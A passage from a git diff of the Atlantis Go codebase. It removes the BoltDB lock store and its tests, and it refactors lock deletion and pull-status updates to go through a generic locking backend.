a valid locker. We need to be able to write to dataDir -// since bolt stores its data as a file -func New(dataDir string) (*BoltDB, error) { - if err := os.MkdirAll(dataDir, 0700); err != nil { - return nil, errors.Wrap(err, "creating data dir") - } - db, err := bolt.Open(path.Join(dataDir, "atlantis.db"), 0600, &bolt.Options{Timeout: 1 * time.Second}) - if err != nil { - if err.Error() == "timeout" { - return nil, errors.New("starting BoltDB: timeout (a possible cause is another Atlantis instance already running)") - } - return nil, errors.Wrap(err, "starting BoltDB") - } - - // Create the buckets. - err = db.Update(func(tx *bolt.Tx) error { - if _, err = tx.CreateBucketIfNotExists([]byte(locksBucketName)); err != nil { - return errors.Wrapf(err, "creating bucket %q", locksBucketName) - } - if _, err = tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil { - return errors.Wrapf(err, "creating bucket %q", pullsBucketName) - } - return nil - }) - if err != nil { - return nil, errors.Wrap(err, "starting BoltDB") - } - // todo: close BoltDB when server is sigtermed - return &BoltDB{db: db, locksBucketName: []byte(locksBucketName), pullsBucketName: []byte(pullsBucketName)}, nil -} - -// NewWithDB is used for testing. -func NewWithDB(db *bolt.DB, bucket string) (*BoltDB, error) { - return &BoltDB{db: db, locksBucketName: []byte(bucket), pullsBucketName: []byte(pullsBucketName)}, nil -} - -// TryLock attempts to create a new lock. If the lock is -// acquired, it will return true and the lock returned will be newLock. -// If the lock is not acquired, it will return false and the current -// lock that is preventing this lock from being acquired. -func (b *BoltDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) { - var lockAcquired bool - var currLock models.ProjectLock - key := b.lockKey(newLock.Project, newLock.Workspace) - newLockSerialized, _ := json.Marshal(newLock) - transactionErr := b.db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.locksBucketName) - - // if there is no run at that key then we're free to create the lock - currLockSerialized := bucket.Get([]byte(key)) - if currLockSerialized == nil { - // This will only error on readonly buckets, it's okay to ignore. - bucket.Put([]byte(key), newLockSerialized) // nolint: errcheck - lockAcquired = true - currLock = newLock - return nil - } - - // otherwise the lock fails, return to caller the run that's holding the lock - if err := json.Unmarshal(currLockSerialized, &currLock); err != nil { - return errors.Wrap(err, "failed to deserialize current lock") - } - lockAcquired = false - return nil - }) - - if transactionErr != nil { - return false, currLock, errors.Wrap(transactionErr, "DB transaction failed") - } - - return lockAcquired, currLock, nil -} - -// Unlock attempts to unlock the project and workspace. -// If there is no lock, then it will return a nil pointer. -// If there is a lock, then it will delete it, and then return a pointer -// to the deleted lock. -func (b *BoltDB) Unlock(p models.Project, workspace string) (*models.ProjectLock, error) { - var lock models.ProjectLock - foundLock := false - key := b.lockKey(p, workspace) - err := b.db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.locksBucketName) - serialized := bucket.Get([]byte(key)) - if serialized != nil { - if err := json.Unmarshal(serialized, &lock); err != nil { - return errors.Wrap(err, "failed to deserialize lock") - } - foundLock = true - } - return bucket.Delete([]byte(key)) - }) - err = errors.Wrap(err, "DB transaction failed") - if foundLock { - return &lock, err - } - return nil, err -} - -// List lists all current locks. -func (b *BoltDB) List() ([]models.ProjectLock, error) { - var locks []models.ProjectLock - var locksBytes [][]byte - err := b.db.View(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.locksBucketName) - c := bucket.Cursor() - for k, v := c.First(); k != nil; k, v = c.Next() { - locksBytes = append(locksBytes, v) - } - return nil - }) - if err != nil { - return locks, errors.Wrap(err, "DB transaction failed") - } - - // deserialize bytes into the proper objects - for k, v := range locksBytes { - var lock models.ProjectLock - if err := json.Unmarshal(v, &lock); err != nil { - return locks, errors.Wrap(err, fmt.Sprintf("failed to deserialize lock at key %q", string(k))) - } - locks = append(locks, lock) - } - - return locks, nil -} - -// UnlockByPull deletes all locks associated with that pull request and returns them. -func (b *BoltDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { - var locks []models.ProjectLock - err := b.db.View(func(tx *bolt.Tx) error { - c := tx.Bucket(b.locksBucketName).Cursor() - - // we can use the repoFullName as a prefix search since that's the first part of the key - for k, v := c.Seek([]byte(repoFullName)); k != nil && bytes.HasPrefix(k, []byte(repoFullName)); k, v = c.Next() { - var lock models.ProjectLock - if err := json.Unmarshal(v, &lock); err != nil { - return errors.Wrapf(err, "deserializing lock at key %q", string(k)) - } - if lock.Pull.Num == pullNum { - locks = append(locks, lock) - } - } - return nil - }) - if err != nil { - return locks, err - } - - // delete the locks - for _, lock := range locks { - if _, err = b.Unlock(lock.Project, lock.Workspace); err != nil { - return locks, errors.Wrapf(err, "unlocking repo %s, path %s, workspace %s", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace) - } - } - return locks, nil -} - -// GetLock returns a pointer to the lock for that project and workspace. -// If there is no lock, it returns a nil pointer. -func (b *BoltDB) GetLock(p models.Project, workspace string) (*models.ProjectLock, error) { - key := b.lockKey(p, workspace) - var lockBytes []byte - err := b.db.View(func(tx *bolt.Tx) error { - b := tx.Bucket(b.locksBucketName) - lockBytes = b.Get([]byte(key)) - return nil - }) - if err != nil { - return nil, errors.Wrap(err, "getting lock data") - } - // lockBytes will be nil if there was no data at that key - if lockBytes == nil { - return nil, nil - } - - var lock models.ProjectLock - if err := json.Unmarshal(lockBytes, &lock); err != nil { - return nil, errors.Wrapf(err, "deserializing lock at key %q", key) - } - - // need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486 - lock.Time = lock.Time.Local() - return &lock, nil -} - -// UpdatePullWithResults updates pull's status with the latest project results. -// It returns the new PullStatus object. -func (b *BoltDB) UpdatePullWithResults(pull models.PullRequest, newResults []models.ProjectResult) (models.PullStatus, error) { - key, err := b.pullKey(pull) - if err != nil { - return models.PullStatus{}, err - } - - var newStatus models.PullStatus - err = b.db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.pullsBucketName) - currStatus, err := b.getPullFromBucket(bucket, key) - if err != nil { - return err - } - - // If there is no pull OR if the pull we have is out of date, we - // just write a new pull. - if currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit { - var statuses []models.ProjectStatus - for _, r := range newResults { - statuses = append(statuses, b.projectResultToProject(r)) - } - newStatus = models.PullStatus{ - Pull: pull, - Projects: statuses, - } - } else { - // If there's an existing pull at the right commit then we have to - // merge our project results with the existing ones. We do a merge - // because it's possible a user is just applying a single project - // in this command and so we don't want to delete our data about - // other projects that aren't affected by this command. - newStatus = *currStatus - for _, res := range newResults { - // First, check if we should update any existing projects. - updatedExisting := false - for i := range newStatus.Projects { - // NOTE: We're using a reference here because we are - // in-place updating its Status field. - proj := &newStatus.Projects[i] - if res.Workspace == proj.Workspace && - res.RepoRelDir == proj.RepoRelDir && - res.ProjectName == proj.ProjectName { - - proj.Status = res.PlanStatus() - updatedExisting = true - break - } - } - - if !updatedExisting { - // If we didn't update an existing project, then we need to - // add this because it's a new one. - newStatus.Projects = append(newStatus.Projects, b.projectResultToProject(res)) - } - } - } - - // Now, we overwrite the key with our new status. - return b.writePullToBucket(bucket, key, newStatus) - }) - return newStatus, errors.Wrap(err, "DB transaction failed") -} - -// GetPullStatus returns the status for pull. -// If there is no status, returns a nil pointer. -func (b *BoltDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { - key, err := b.pullKey(pull) - if err != nil { - return nil, err - } - var s *models.PullStatus - err = b.db.View(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.pullsBucketName) - var txErr error - s, txErr = b.getPullFromBucket(bucket, key) - return txErr - }) - return s, errors.Wrap(err, "DB transaction failed") -} - -// DeletePullStatus deletes the status for pull. -func (b *BoltDB) DeletePullStatus(pull models.PullRequest) error { - key, err := b.pullKey(pull) - if err != nil { - return err - } - err = b.db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.pullsBucketName) - return bucket.Delete(key) - }) - return errors.Wrap(err, "DB transaction failed") -} - -// UpdateProjectStatus updates project status. -func (b *BoltDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error { - key, err := b.pullKey(pull) - if err != nil { - return err - } - err = b.db.Update(func(tx *bolt.Tx) error { - bucket := tx.Bucket(b.pullsBucketName) - currStatusPtr, err := b.getPullFromBucket(bucket, key) - if err != nil { - return err - } - if currStatusPtr == nil { - return nil - } - currStatus := *currStatusPtr - - // Update the status. - for i := range currStatus.Projects { - // NOTE: We're using a reference here because we are - // in-place updating its Status field. - proj := &currStatus.Projects[i] - if proj.Workspace == workspace && proj.RepoRelDir == repoRelDir { - proj.Status = newStatus - break - } - } - return b.writePullToBucket(bucket, key, currStatus) - }) - return errors.Wrap(err, "DB transaction failed") -} - -func (b *BoltDB) pullKey(pull models.PullRequest) ([]byte, error) { - hostname := pull.BaseRepo.VCSHost.Hostname - if strings.Contains(hostname, pullKeySeparator) { - return nil, fmt.Errorf("vcs hostname %q contains illegal string %q", hostname, pullKeySeparator) - } - repo := pull.BaseRepo.FullName - if strings.Contains(repo, pullKeySeparator) { - return nil, fmt.Errorf("repo name %q contains illegal string %q", hostname, pullKeySeparator) - } - - return []byte(fmt.Sprintf("%s::%s::%d", hostname, repo, pull.Num)), - nil -} - -func (b *BoltDB) lockKey(p models.Project, workspace string) string { - return fmt.Sprintf("%s/%s/%s", p.RepoFullName, p.Path, workspace) -} - -func (b *BoltDB) getPullFromBucket(bucket *bolt.Bucket, key []byte) (*models.PullStatus, error) { - serialized := bucket.Get(key) - if serialized == nil { - return nil, nil - } - - var p models.PullStatus - if err := json.Unmarshal(serialized, &p); err != nil { - return nil, errors.Wrapf(err, "deserializing pull at %q with contents %q", key, serialized) - } - return &p, nil -} - -func (b *BoltDB) writePullToBucket(bucket *bolt.Bucket, key []byte, pull models.PullStatus) error { - serialized, err := json.Marshal(pull) - if err != nil { - return errors.Wrap(err, "serializing") - } - return bucket.Put(key, serialized) -} - -func (b *BoltDB) projectResultToProject(p models.ProjectResult) models.ProjectStatus { - return models.ProjectStatus{ - Workspace: p.Workspace, - RepoRelDir: p.RepoRelDir, - ProjectName: p.ProjectName, - Status: p.PlanStatus(), - } -} diff --git a/server/events/db/boltdb_test.go b/server/events/db/boltdb_test.go deleted file mode 100644 index 7129bb3ee6..0000000000 --- a/server/events/db/boltdb_test.go +++ /dev/null @@ -1,733 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package db_test - -import ( - "io/ioutil" - "os" - "testing" - "time" - - "github.com/runatlantis/atlantis/server/events/db" - - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/models" - . "github.com/runatlantis/atlantis/testing" - bolt "go.etcd.io/bbolt" -) - -var lockBucket = "bucket" -var project = models.NewProject("owner/repo", "parent/child") -var workspace = "default" -var pullNum = 1 -var lock = models.ProjectLock{ - Pull: models.PullRequest{ - Num: pullNum, - }, - User: models.User{ - Username: "lkysow", - }, - Workspace: workspace, - Project: project, - Time: time.Now(), -} - -func TestListNoLocks(t *testing.T) { - t.Log("listing locks when there are none should return an empty list") - db, b := newTestDB() - defer cleanupDB(db) - ls, err := b.List() - Ok(t, err) - Equals(t, 0, len(ls)) -} - -func TestListOneLock(t *testing.T) { - t.Log("listing locks when there is one should return it") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - ls, err := b.List() - Ok(t, err) - Equals(t, 1, len(ls)) -} - -func TestListMultipleLocks(t *testing.T) { - t.Log("listing locks when there are multiple should return them") - db, b := newTestDB() - defer cleanupDB(db) - - // add multiple locks - repos := []string{ - "owner/repo1", - "owner/repo2", - "owner/repo3", - "owner/repo4", - } - - for _, r := range repos { - newLock := lock - newLock.Project = models.NewProject(r, "path") - _, _, err := b.TryLock(newLock) - Ok(t, err) - } - ls, err := b.List() - Ok(t, err) - Equals(t, 4, len(ls)) - for _, r := range repos { - found := false - for _, l := range ls { - if l.Project.RepoFullName == r { - found = true - } - } - Assert(t, found, "expected %s in %v", r, ls) - } -} - -func TestListAddRemove(t *testing.T) { - t.Log("listing after adding and removing should return none") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - _, err = b.Unlock(project, workspace) - Ok(t, err) - - ls, err := b.List() - Ok(t, err) - Equals(t, 0, len(ls)) -} - -func TestLockingNoLocks(t *testing.T) { - t.Log("with no locks yet, lock should succeed") - db, b := newTestDB() - defer cleanupDB(db) - acquired, currLock, err := b.TryLock(lock) - Ok(t, err) - Equals(t, true, acquired) - Equals(t, lock, currLock) -} - -func TestLockingExistingLock(t *testing.T) { - t.Log("if there is an existing lock, lock should...") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - - t.Log("...succeed if the new project has a different path") - { - newLock := lock - newLock.Project = models.NewProject(project.RepoFullName, "different/path") - acquired, currLock, err := b.TryLock(newLock) - Ok(t, err) - Equals(t, true, acquired) - Equals(t, pullNum, currLock.Pull.Num) - } - - t.Log("...succeed if the new project has a different workspace") - { - newLock := lock - newLock.Workspace = "different-workspace" - acquired, currLock, err := b.TryLock(newLock) - Ok(t, err) - Equals(t, true, acquired) - Equals(t, newLock, currLock) - } - - t.Log("...succeed if the new project has a different repoName") - { - newLock := lock - newLock.Project = models.NewProject("different/repo", project.Path) - acquired, currLock, err := b.TryLock(newLock) - Ok(t, err) - Equals(t, true, acquired) - Equals(t, newLock, currLock) - } - - t.Log("...not succeed if the new project only has a different pullNum") - { - newLock := lock - newLock.Pull.Num = lock.Pull.Num + 1 - acquired, currLock, err := b.TryLock(newLock) - Ok(t, err) - Equals(t, false, acquired) - Equals(t, currLock.Pull.Num, pullNum) - } -} - -func TestUnlockingNoLocks(t *testing.T) { - t.Log("unlocking with no locks should succeed") - db, b := newTestDB() - defer cleanupDB(db) - _, err := b.Unlock(project, workspace) - - Ok(t, err) -} - -func TestUnlocking(t *testing.T) { - t.Log("unlocking with an existing lock should succeed") - db, b := newTestDB() - defer cleanupDB(db) - - _, _, err := b.TryLock(lock) - Ok(t, err) - _, err = b.Unlock(project, workspace) - Ok(t, err) - - // should be no locks listed - ls, err := b.List() - Ok(t, err) - Equals(t, 0, len(ls)) - - // should be able to re-lock that repo with a new pull num - newLock := lock - newLock.Pull.Num = lock.Pull.Num + 1 - acquired, currLock, err := b.TryLock(newLock) - Ok(t, err) - Equals(t, true, acquired) - Equals(t, newLock, currLock) -} - -func TestUnlockingMultiple(t *testing.T) { - t.Log("unlocking and locking multiple locks should succeed") - db, b := newTestDB() - defer cleanupDB(db) - - _, _, err := b.TryLock(lock) - Ok(t, err) - - new := lock - new.Project.RepoFullName = "new/repo" - _, _, err = b.TryLock(new) - Ok(t, err) - - new2 := lock - new2.Project.Path = "new/path" - _, _, err = b.TryLock(new2) - Ok(t, err) - - new3 := lock - new3.Workspace = "new-workspace" - _, _, err = b.TryLock(new3) - Ok(t, err) - - // now try and unlock them - _, err = b.Unlock(new3.Project, new3.Workspace) - Ok(t, err) - _, err = b.Unlock(new2.Project, workspace) - Ok(t, err) - _, err = b.Unlock(new.Project, workspace) - Ok(t, err) - _, err = b.Unlock(project, workspace) - Ok(t, err) - - // should be none left - ls, err := b.List() - Ok(t, err) - Equals(t, 0, len(ls)) -} - -func TestUnlockByPullNone(t *testing.T) { - t.Log("UnlockByPull should be successful when there are no locks") - db, b := newTestDB() - defer cleanupDB(db) - - _, err := b.UnlockByPull("any/repo", 1) - Ok(t, err) -} - -func TestUnlockByPullOne(t *testing.T) { - t.Log("with one lock, UnlockByPull should...") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - - t.Log("...delete nothing when its the same repo but a different pull") - { - _, err := b.UnlockByPull(project.RepoFullName, pullNum+1) - Ok(t, err) - ls, err := b.List() - Ok(t, err) - Equals(t, 1, len(ls)) - } - t.Log("...delete nothing when its the same pull but a different repo") - { - _, err := b.UnlockByPull("different/repo", pullNum) - Ok(t, err) - ls, err := b.List() - Ok(t, err) - Equals(t, 1, len(ls)) - } - t.Log("...delete the lock when its the same repo and pull") - { - _, err := b.UnlockByPull(project.RepoFullName, pullNum) - Ok(t, err) - ls, err := b.List() - Ok(t, err) - Equals(t, 0, len(ls)) - } -} - -func TestUnlockByPullAfterUnlock(t *testing.T) { - t.Log("after locking and unlocking, UnlockByPull should be successful") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - _, err = b.Unlock(project, workspace) - Ok(t, err) - - _, err = b.UnlockByPull(project.RepoFullName, pullNum) - Ok(t, err) - ls, err := b.List() - Ok(t, err) - Equals(t, 0, len(ls)) -} - -func TestUnlockByPullMatching(t *testing.T) { - t.Log("UnlockByPull should delete all locks in that repo and pull num") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - - // add additional locks with the same repo and pull num but different paths/workspaces - new := lock - new.Project.Path = "dif/path" - _, _, err = b.TryLock(new) - Ok(t, err) - new2 := lock - new2.Workspace = "new-workspace" - _, _, err = b.TryLock(new2) - Ok(t, err) - - // there should now be 3 - ls, err := b.List() - Ok(t, err) - Equals(t, 3, len(ls)) - - // should all be unlocked - _, err = b.UnlockByPull(project.RepoFullName, pullNum) - Ok(t, err) - ls, err = b.List() - Ok(t, err) - Equals(t, 0, len(ls)) -} - -func TestGetLockNotThere(t *testing.T) { - t.Log("getting a lock that doesn't exist should return a nil pointer") - db, b := newTestDB() - defer cleanupDB(db) - l, err := b.GetLock(project, workspace) - Ok(t, err) - Equals(t, (*models.ProjectLock)(nil), l) -} - -func TestGetLock(t *testing.T) { - t.Log("getting a lock should return the lock") - db, b := newTestDB() - defer cleanupDB(db) - _, _, err := b.TryLock(lock) - Ok(t, err) - - l, err := b.GetLock(project, workspace) - Ok(t, err) - // can't compare against time so doing each field - Equals(t, lock.Project, l.Project) - Equals(t, lock.Workspace, l.Workspace) - Equals(t, lock.Pull, l.Pull) - Equals(t, lock.User, l.User) -} - -// Test we can create a status and then get it. -func TestPullStatus_UpdateGet(t *testing.T) { - b, cleanup := newTestDB2(t) - defer cleanup() - - pull := models.PullRequest{ - Num: 1, - HeadCommit: "sha", - URL: "url", - HeadBranch: "head", - BaseBranch: "base", - Author: "lkysow", - State: models.OpenPullState, - BaseRepo: models.Repo{ - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - Name: "atlantis", - CloneURL: "clone-url", - SanitizedCloneURL: "clone-url", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, - }, - } - status, err := b.UpdatePullWithResults( - pull, - []models.ProjectResult{ - { - Command: models.PlanCommand, - RepoRelDir: ".", - Workspace: "default", - Failure: "failure", - }, - }) - Ok(t, err) - - maybeStatus, err := b.GetPullStatus(pull) - Ok(t, err) - Assert(t, maybeStatus != nil, "exp non-nil") - Equals(t, pull, maybeStatus.Pull) // nolint: staticcheck - Equals(t, []models.ProjectStatus{ - { - Workspace: "default", - RepoRelDir: ".", - ProjectName: "", - Status: models.ErroredPlanStatus, - }, - }, status.Projects) -} - -// Test we can create a status, delete it, and then we shouldn't be able to get -// it. -func TestPullStatus_UpdateDeleteGet(t *testing.T) { - b, cleanup := newTestDB2(t) - defer cleanup() - - pull := models.PullRequest{ - Num: 1, - HeadCommit: "sha", - URL: "url", - HeadBranch: "head", - BaseBranch: "base", - Author: "lkysow", - State: models.OpenPullState, - BaseRepo: models.Repo{ - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - Name: "atlantis", - CloneURL: "clone-url", - SanitizedCloneURL: "clone-url", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, - }, - } - _, err := b.UpdatePullWithResults( - pull, - []models.ProjectResult{ - { - RepoRelDir: ".", - Workspace: "default", - Failure: "failure", - }, - }) - Ok(t, err) - - err = b.DeletePullStatus(pull) - Ok(t, err) - - maybeStatus, err := b.GetPullStatus(pull) - Ok(t, err) - Assert(t, maybeStatus == nil, "exp nil") -} - -// Test we can create a status, update a specific project's status within that -// pull status, and when we get all the project statuses, that specific project -// should be updated. -func TestPullStatus_UpdateProject(t *testing.T) { - b, cleanup := newTestDB2(t) - defer cleanup() - - pull := models.PullRequest{ - Num: 1, - HeadCommit: "sha", - URL: "url", - HeadBranch: "head", - BaseBranch: "base", - Author: "lkysow", - State: models.OpenPullState, - BaseRepo: models.Repo{ - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - Name: "atlantis", - CloneURL: "clone-url", - SanitizedCloneURL: "clone-url", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, - }, - } - _, err := b.UpdatePullWithResults( - pull, - []models.ProjectResult{ - { - RepoRelDir: ".", - Workspace: "default", - Failure: "failure", - }, - { - RepoRelDir: ".", - Workspace: "staging", - ApplySuccess: "success!", - }, - }) - Ok(t, err) - - err = b.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus) - Ok(t, err) - - status, err := b.GetPullStatus(pull) - Ok(t, err) - Assert(t, status != nil, "exp non-nil") - Equals(t, pull, status.Pull) // nolint: staticcheck - Equals(t, []models.ProjectStatus{ - { - Workspace: "default", - RepoRelDir: ".", - ProjectName: "", - Status: models.DiscardedPlanStatus, - }, - { - Workspace: "staging", - RepoRelDir: ".", - ProjectName: "", - Status: models.AppliedPlanStatus, - }, - }, status.Projects) // nolint: staticcheck -} - -// Test that if we update an existing pull status and our new status is for a -// different HeadSHA, that we just overwrite the old status. -func TestPullStatus_UpdateNewCommit(t *testing.T) { - b, cleanup := newTestDB2(t) - defer cleanup() - - pull := models.PullRequest{ - Num: 1, - HeadCommit: "sha", - URL: "url", - HeadBranch: "head", - BaseBranch: "base", - Author: "lkysow", - State: models.OpenPullState, - BaseRepo: models.Repo{ - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - Name: "atlantis", - CloneURL: "clone-url", - SanitizedCloneURL: "clone-url", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, - }, - } - _, err := b.UpdatePullWithResults( - pull, - []models.ProjectResult{ - { - RepoRelDir: ".", - Workspace: "default", - Failure: "failure", - }, - }) - Ok(t, err) - - pull.HeadCommit = "newsha" - status, err := b.UpdatePullWithResults(pull, - []models.ProjectResult{ - { - RepoRelDir: ".", - Workspace: "staging", - ApplySuccess: "success!", - }, - }) - - Ok(t, err) - Equals(t, 1, len(status.Projects)) - - maybeStatus, err := b.GetPullStatus(pull) - Ok(t, err) - Equals(t, pull, maybeStatus.Pull) - Equals(t, []models.ProjectStatus{ - { - Workspace: "staging", - RepoRelDir: ".", - ProjectName: "", - Status: models.AppliedPlanStatus, - }, - }, maybeStatus.Projects) -} - -// Test that if we update an existing pull status and our new status is for a -// the same commit, that we merge the statuses. -func TestPullStatus_UpdateMerge(t *testing.T) { - b, cleanup := newTestDB2(t) - defer cleanup() - - pull := models.PullRequest{ - Num: 1, - HeadCommit: "sha", - URL: "url", - HeadBranch: "head", - BaseBranch: "base", - Author: "lkysow", - State: models.OpenPullState, - BaseRepo: models.Repo{ - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - Name: "atlantis", - CloneURL: "clone-url", - SanitizedCloneURL: "clone-url", - VCSHost: models.VCSHost{ - Hostname: "github.com", - Type: models.Github, - }, - }, - } - _, err := b.UpdatePullWithResults( - pull, - []models.ProjectResult{ - { - Command: models.PlanCommand, - RepoRelDir: "mergeme", - Workspace: "default", - Failure: "failure", - }, - { - Command: models.PlanCommand, - RepoRelDir: "projectname", - Workspace: "default", - ProjectName: "projectname", - Failure: "failure", - }, - { - Command: models.PlanCommand, - RepoRelDir: "staythesame", - Workspace: "default", - PlanSuccess: &models.PlanSuccess{ - TerraformOutput: "tf out", - LockURL: "lock-url", - RePlanCmd: "plan command", - ApplyCmd: "apply command", - }, - }, - }) - Ok(t, err) - - updateStatus, err := b.UpdatePullWithResults(pull, - []models.ProjectResult{ - { - Command: models.ApplyCommand, - RepoRelDir: "mergeme", - Workspace: "default", - ApplySuccess: "applied!", - }, - { - Command: models.ApplyCommand, - RepoRelDir: "projectname", - Workspace: "default", - ProjectName: "projectname", - Error: errors.New("apply error"), - }, - { - Command: models.ApplyCommand, - RepoRelDir: "newresult", - Workspace: "default", - ApplySuccess: "success!", - }, - }) - Ok(t, err) - - getStatus, err := b.GetPullStatus(pull) - Ok(t, err) - - // Test both the pull state returned from the update call *and* the get - // call. - for _, s := range []models.PullStatus{updateStatus, *getStatus} { - Equals(t, pull, s.Pull) - Equals(t, []models.ProjectStatus{ - { - RepoRelDir: "mergeme", - Workspace: "default", - Status: models.AppliedPlanStatus, - }, - { - RepoRelDir: "projectname", - Workspace: "default", - ProjectName: "projectname", - Status: models.ErroredApplyStatus, - }, - { - RepoRelDir: "staythesame", - Workspace: "default", - Status: models.PlannedPlanStatus, - }, - { - RepoRelDir: "newresult", - Workspace: "default", - Status: models.AppliedPlanStatus, - }, - }, updateStatus.Projects) - } -} - -// newTestDB returns a TestDB using a temporary path. -func newTestDB() (*bolt.DB, *db.BoltDB) { - // Retrieve a temporary path. - f, err := ioutil.TempFile("", "") - if err != nil { - panic(errors.Wrap(err, "failed to create temp file")) - } - path := f.Name() - f.Close() // nolint: errcheck - - // Open the database. - boltDB, err := bolt.Open(path, 0600, nil) - if err != nil { - panic(errors.Wrap(err, "could not start bolt DB")) - } - if err := boltDB.Update(func(tx *bolt.Tx) error { - if _, err := tx.CreateBucketIfNotExists([]byte(lockBucket)); err != nil { - return errors.Wrap(err, "failed to create bucket") - } - return nil - }); err != nil { - panic(errors.Wrap(err, "could not create bucket")) - } - b, _ := db.NewWithDB(boltDB, lockBucket) - return boltDB, b -} - -func newTestDB2(t *testing.T) (*db.BoltDB, func()) { - tmp, cleanup := TempDir(t) - boltDB, err := db.New(tmp) - Ok(t, err) - return boltDB, func() { - cleanup() - } -} - -func cleanupDB(db *bolt.DB) { - os.Remove(db.Path()) // nolint: errcheck - db.Close() // nolint: errcheck -} diff --git a/server/events/db_updater.go b/server/events/db_updater.go new file mode 100644 index 0000000000..3da8534092 --- /dev/null +++ b/server/events/db_updater.go @@ -0,0 +1,27 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +type DBUpdater struct { + Backend locking.Backend +} + +func (c *DBUpdater) updateDB(ctx *command.Context, pull models.PullRequest, results []command.ProjectResult) (models.PullStatus, error) { + // Filter out results that errored due to the directory not existing. We + // don't store these in the database because they would never be "apply-able" + // and so the pull request would always have errors. + var filtered []command.ProjectResult + for _, r := range results { + if _, ok := r.Error.(DirNotExistErr); ok { + ctx.Log.Debug("ignoring error result from project at dir %q workspace %q because it is dir not exist error", r.RepoRelDir, r.Workspace) + continue + } + filtered = append(filtered, r) + } + ctx.Log.Debug("updating DB with pull results") + return c.Backend.UpdatePullWithResults(pull, filtered) +} diff --git a/server/events/delete_lock_command.go b/server/events/delete_lock_command.go index 7033017db4..1c9abcdda0 100644 --- a/server/events/delete_lock_command.go +++ b/server/events/delete_lock_command.go @@ -1,31 +1,29 @@ package events import ( - "github.com/runatlantis/atlantis/server/events/db" - "github.com/runatlantis/atlantis/server/events/locking" + "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_delete_lock_command.go DeleteLockCommand +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_delete_lock_command.go DeleteLockCommand // DeleteLockCommand is the first step after a command request has been parsed. type DeleteLockCommand interface { - DeleteLock(id string) (*models.ProjectLock, error) - DeleteLocksByPull(repoFullName string, pullNum int) error + DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) + DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) } // DefaultDeleteLockCommand deletes a specific lock after a request from the LocksController. type DefaultDeleteLockCommand struct { Locker locking.Locker - Logger *logging.SimpleLogger WorkingDir WorkingDir WorkingDirLocker WorkingDirLocker - DB *db.BoltDB + Backend locking.Backend } // DeleteLock handles deleting the lock at id -func (l *DefaultDeleteLockCommand) DeleteLock(id string) (*models.ProjectLock, error) { +func (l *DefaultDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) { lock, err := l.Locker.Unlock(id) if err != nil { return nil, err @@ -34,46 +32,36 @@ func (l *DefaultDeleteLockCommand) DeleteLock(id string) (*models.ProjectLock, e return nil, nil } - l.deleteWorkingDir(*lock) + removeErr := l.WorkingDir.DeletePlan(logger, lock.Pull.BaseRepo, lock.Pull, lock.Workspace, lock.Project.Path, lock.Project.ProjectName) + if removeErr != nil { + logger.Warn("Failed to delete plan: %s", removeErr) + return nil, removeErr + } + return lock, nil } // DeleteLocksByPull handles deleting all locks for the pull request -func (l *DefaultDeleteLockCommand) DeleteLocksByPull(repoFullName string, pullNum int) error { +func (l *DefaultDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) { locks, err := l.Locker.UnlockByPull(repoFullName, pullNum) + numLocks := len(locks) if err != nil { - return err + return numLocks, err } - if len(locks) == 0 { - return nil + if numLocks == 0 { + logger.Debug("No locks found for repo '%v', pull request: %v", repoFullName, pullNum) + return 